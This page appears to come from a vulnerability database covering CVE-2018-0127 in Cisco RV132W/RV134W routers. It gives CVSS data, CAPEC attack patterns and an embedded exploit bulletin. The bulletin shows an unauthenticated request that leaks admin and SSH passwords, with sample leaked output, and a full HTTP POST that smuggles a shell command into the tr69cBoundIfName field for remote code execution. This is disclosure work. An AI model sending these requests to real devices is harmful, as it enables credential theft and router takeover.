Vulnerabilities > CVE-2018-0127 - Missing Authentication for Critical Function vulnerability in Cisco Rv132W Firmware and Rv134W Firmware
Attack vector
NETWORK Attack complexity
LOW Privileges required
NONE Confidentiality impact
PARTIAL Integrity impact
NONE Availability impact
NONE Summary
A vulnerability in the web interface of Cisco RV132W ADSL2+ Wireless-N VPN Routers and Cisco RV134W VDSL2 Wireless-AC VPN Routers could allow an unauthenticated, remote attacker to view configuration parameters for an affected device, which could lead to the disclosure of confidential information. The vulnerability is due to the absence of user authentication requirements for certain pages that are part of the web interface and contain confidential information for an affected device. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device and examining the HTTP response to the request. A successful exploit could allow the attacker to view configuration parameters, including the administrator password, for the affected device. Cisco Bug IDs: CSCvg92739, CSCvh60172.
Vulnerable Configurations
| Part | Description | Count |
|---|---|---|
| OS | 4 | |
| Hardware | 2 |
Common Weakness Enumeration (CWE)
Common Attack Pattern Enumeration and Classification (CAPEC)
- Choosing a Message/Channel Identifier on a Public/Multicast Channel Attackers aware that more data is being fed into a multicast or public information distribution means can 'select' information bound only for another client, even if the distribution means itself forces users to authenticate in order to connect initially. Doing so allows the attacker to gain access to possibly privileged information, possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could change its identifier from a less privileged to more so privileged channel or command.
- Using Unpublished Web Service APIs An attacker searches for and invokes Web Services APIs that the target system designers did not intend to be publicly available. If these APIs fail to authenticate requests the attacker may be able to invoke services and/or gain privileges they are not authorized for.
- Manipulating Writeable Terminal Devices This attack exploits terminal devices that allow themselves to be written to by other users. The attacker sends command strings to the target terminal device hoping that the target user will hit enter and thereby execute the malicious command with their privileges. The attacker can send the results (such as copying /etc/passwd) to a known directory and collect once the attack has succeeded.
- Cross Site Request Forgery (aka Session Riding) An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.
Seebug
| bulletinFamily | exploit |
| description | ### Vulnerabilities Summary The following advisory describes two (2) vulnerabilities found in Cisco RV132W Wireless N VPN version 1.0.1.8 The Cisco RV132W Wireless-N ADSL2+ VPN Router is “easy to use, set up, and deploy. This flexible router offers great performance and is suited for small or home offices (SOHO) and smaller deployments.” The vulnerabilities found are: * Information Disclosure That Leads to Password Disclosure * Unauthenticated WAN Remote Code Execution ### Credit A security researcher from, NHSC, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program ### Vendor response Cisco were informed of the vulnerabilities and released patches to address them: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180207-rv13x CVE: CVE-2018-0125 / CVE-2018-0127 ### Vulnerabilities details #### Information Disclosure that Leads to Password Disclosure User controlled input is not sufficiently filtered, unauthenticated user can access the following page: ``` http://[TARGET_IP]/dumpmdm.cmd ``` The output will include the admin SSH password (base64) ``` <AdminUserName>redalert</AdminUserName> <AdminPassword>61eac78956b08e9b7c499691eddbe2e2</AdminPassword> <AdminPasswordHash>(null)</AdminPasswordHash> <AdminCliEnable>TRUE</AdminCliEnable> <SupportUserName>support</SupportUserName> <SupportPassword>support</SupportPassword> <SupportPasswordHash>(null)</SupportPasswordHash> <SupportCliEnable>TRUE</SupportCliEnable> <UserUserName>user</UserUserName> <UserPassword>user</UserPassword> <UserPasswordHash>(null)</UserPasswordHash> <UserCliEnable>TRUE</UserCliEnable> <logintimeout>30</logintimeout> <SetAdminUser>TRUE</SetAdminUser> <SetGuestUser>FALSE</SetGuestUser> <EnableAdminUser>TRUE</EnableAdminUser> <EnableGuestUser>FALSE</EnableGuestUser> <GuestUserName>guest</GuestUserName> <GuestPassword>574ea313a3b02211d193d01606942111</GuestPassword> <GuestPasswordHash>(null)</GuestPasswordHash> <GuestCliEnable>TRUE</GuestCliEnable> <GuestUserIsInUse>FALSE</GuestUserIsInUse> <FirstLogin>TRUE</FirstLogin> <GuestLoginTimeout>30</GuestLoginTimeout> <loginchecked>0</loginchecked> <sshpass>cmVkYWxlcnQxMzIkAA==</sshpass> ``` Decoding: “cmVkYWxlcnQxMzIkAA==” base64 decodes to “redalert132$” which is our test unit password. #### Unauthenticated WAN Remote Code Execution User controlled input is not sufficiently filtered, unauthenticated user can access the following page: ``` http://[TARGET_IP]/tr69cfg.cgi ``` By sending POST request with modify parameter tr69cBoundIfName= an unauthenticated user can execute arbitrary code on the victims router ``` POST /tr69cfg.cgi HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/2010010 1 Firefox/54.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 627 Referer: http://192.168.1.1/tr69cfg.cgi Connection: close Upgrade-Insecure-Requests: 1 submit_button=Basic_config&tr69cEnable=1&tr69cInformEnable=1&ipvEnable=0&tr69cInformInterval=300&tr69cAcsURL=http%3A%2F%2F192.168.1.1&tr69cAcsUser=admin&tr69cAcsPwd=admin&tr69cConnReqUser=admin&tr69cConnReqPwd=admin&tr69cConnReqPort=7547&tr69cNoneConnReqAuth=0&tr69cDebugEnable=0&tr69cAcsCert=&tr69cCpeCert=&downloadFileType=&tr69cBoundIfName=;COMMAND-TO-RUN;&tr69cBindInterface=ETH_WAN_R&tr69=on&ipv=on&inform=on&informInterval=300&httpCategory=http%3A%2F%2F&acsURL=192.168.1.1&acsUser=admin&acsPwd=admin&debug=on&FileType=on&connReqAuth=on&connReqUser=admin&connReqPwd=admin&connReqPort=7547&WANInterface=eth0.1 ``` |
| id | SSV:97135 |
| last seen | 2018-02-23 |
| modified | 2018-02-23 |
| published | 2018-02-23 |
| reporter | Root |
| title | Cisco RV132W Multiple Vulnerabilities(CVE-2018-0125/CVE-2018-0127) |